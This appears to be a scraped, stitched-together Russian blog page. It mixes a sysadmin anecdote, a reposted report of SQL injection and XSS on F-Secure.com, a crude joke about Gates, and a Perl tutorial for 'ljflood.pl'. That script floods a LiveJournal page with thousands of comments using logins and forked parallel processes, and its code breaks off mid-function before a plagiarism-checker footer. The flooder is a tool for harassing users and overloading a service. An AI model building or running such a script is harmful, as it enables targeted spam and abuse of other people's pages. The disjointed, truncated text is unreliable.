а поржал я заглянув на один из серверов тех предприятий, что админю.
На одном таком директор - очень умный, аккуратный д0нельзя и любящий всё по полочкам разложить.
В принципе, я его другим шефам администрируемых контор в пример ставлю. Ладно, смотрите над чем мну хохотал аки придурь:
замастырил я такую штуку типа потестить: http://gazosvet.su/
заходите в раздел comtact module
и чёнить мне намыльте плз. Жду замечаний и критики.
English version:
After Kaspersky and BitDefender, it’s now time for F-Secure.com … vulnerable to SQL Injection plus Cross Site Scripting. Fortunately, F-Secure doesn’t leak sensitive data, just some statistics regarding past virus activity.
Exposed database tables:
MailboxInfo, VirusUpdated, dtproperties, Country, sysconstraints, VirusTrends, Virus_Top50_24h, Virus_Top50_30days, Virus_Top50_7days, Virus_Top50_90days, Virus_Top50_Month, Virus_Top50_Week, VirusDateTotal, VirusDate, VirusMonthTotal, VirusReports, VirusReportsTemp, VirusTrends.
Screenshots:
SQL Injection (SQL Server info / Extracting table names):

=========================================================
Romanian version:Dupa
Kasperskysi
BitDefender, a venit timpul si celor de la
F-Secure.com… vulnerabil la SQL
- от такая до меня новость дошла.
Билл Гейт - воистину Великий! Почему? Не потому, что Майкрософт создал, а потому, что вовремя свалил.
Мне не раз на ум параллели приходили:
Гейтс и Майкрософт
Гитлер и Рейх
Сталин и СССР
...так вот, похоже Гейтс таки хорошо кончит )
Источник:
-Веб-сайт: http://unixlive.su/
Первой версии флудера комментами мне показалось мало. Хотелось нечто большего, например флуд комментами в количестве тысячи сообщений чей-то паги за короткие сроки по времени. Как я уже сказал, в первой версии флудера имели место два недостатка:
1) Отсутствие поддержки зарегистрированного пользователя для отправки комментов.
2) Отсутствие потоков, что сказывалось на времени и медлительности флудера.
Знание Перла и стремление повысить "рейтинг" флудера помогли мне написать вторую версию скрипта ljflood.pl, который поддерживал авторизацию и потомки. Углубимся в процесс кодинга и обработки потомков.
Сперва сделаем авторизацию. Для этого возьмем произвольную страничку с комментами для поста с номером... пусть будет 31337. Смотрим вид html и акцентируем внимание на авторизацию. Что мы видим? Нам нужно заполнить поля Username, который имеет имя userpost, поле для пароля (password) и установить радиобатон usertype в положение user (в первой версии он был anonymous).
Для минимального изменения кода, но с максимальной реализацией вышеописанного, немножко поправим наш скрипт.
Поставим условие перед строчкой $usertype='anonymous':
if ($opt_u) { $usertype='user'."&userpost=$opt_u" ."&password=$opt_p";
} else {
$usertype='anonymous';
}
предварительно добавив букву "u" в getopt() чуть выше.
Что мы получили? Если имеется параметр, указывающий имя пользователя, установим usertype равный части большого POST-запроса, включающий в себя usertype, userpost и password. Иначе посылаем анонимные комменты.
Вот собственно и все. Первая задача была решена. Осталось добиться многопотоковости и вторая версия флудера была бы готова.
Для поддержки потоков в perl используется функция fork(), которая позволяет запустить подпроцесс в беграунд. Кроме того, нам необходимо контролировать количество этих самых подпроцессов, чтобы ненароком не уронить сервер, на котором запускается флудер ;).
Алгоритм такой: делаем постоянное количество треадов (потомков) равным, к примеру, 10. Затем делим количество комментов на 10 и берем целую часть от деления. Это нужно для реализации двойного цикла for() без лишних переменных. После этого открываем внешний цикл по новому количеству комментов, а внутренний по треадам. Затем плодим потомок функцией fork, составляя массив @forked в теле родителя. В этом массиве будут хранится идентификаторы подпроцессов (зачем - поймешь чуть позже). В теле потомка, вызываем функцию sendcomment(), которая будет засылать коммент врагу =).
$count=$opt_c || 10; ## Забираем $count из параметра
$count=int($count/$threads); ## И делим нацело его на 10
for ($j=1;$j<=$count;$j++) { ## Внешний цикл по каунту
for ($i=1;$i<=$threads;$i++) { ## Внутренний по потомкам
if ($pid=fork()) { ## Плодим потомок с процессом $pid
push(@forked,$pid); ## Фиксируем идентификатор в массиве
} else {
sendcomment($i); ## Засылаем коммент
exit; ## И завершаем потомок - это важно!
}
}
killpidz(); ## Процедура убийства потомков.
}
После каждого выполнения внутреннего цикла переходим к процедуре killpidz(), которая будет убивать не завершившиеся процессы, тем самым контролируя безопасную работу скрипта.
sub killpidz { ## Процедура убийства порожденных процессов
foreach $pid (@forked) {
chomp; ## По каждому процессу из списка
waitpid($pid,0); ## Дожидаемся его завершения
kill("TERM" => $_) ##
Отчет о проверке
| Нет ни одного источника! |
| Частично оригинальные блоки: 0% Оригинальные блоки: 100% Итоговая оценка оригинальности: 100% |
[234x16]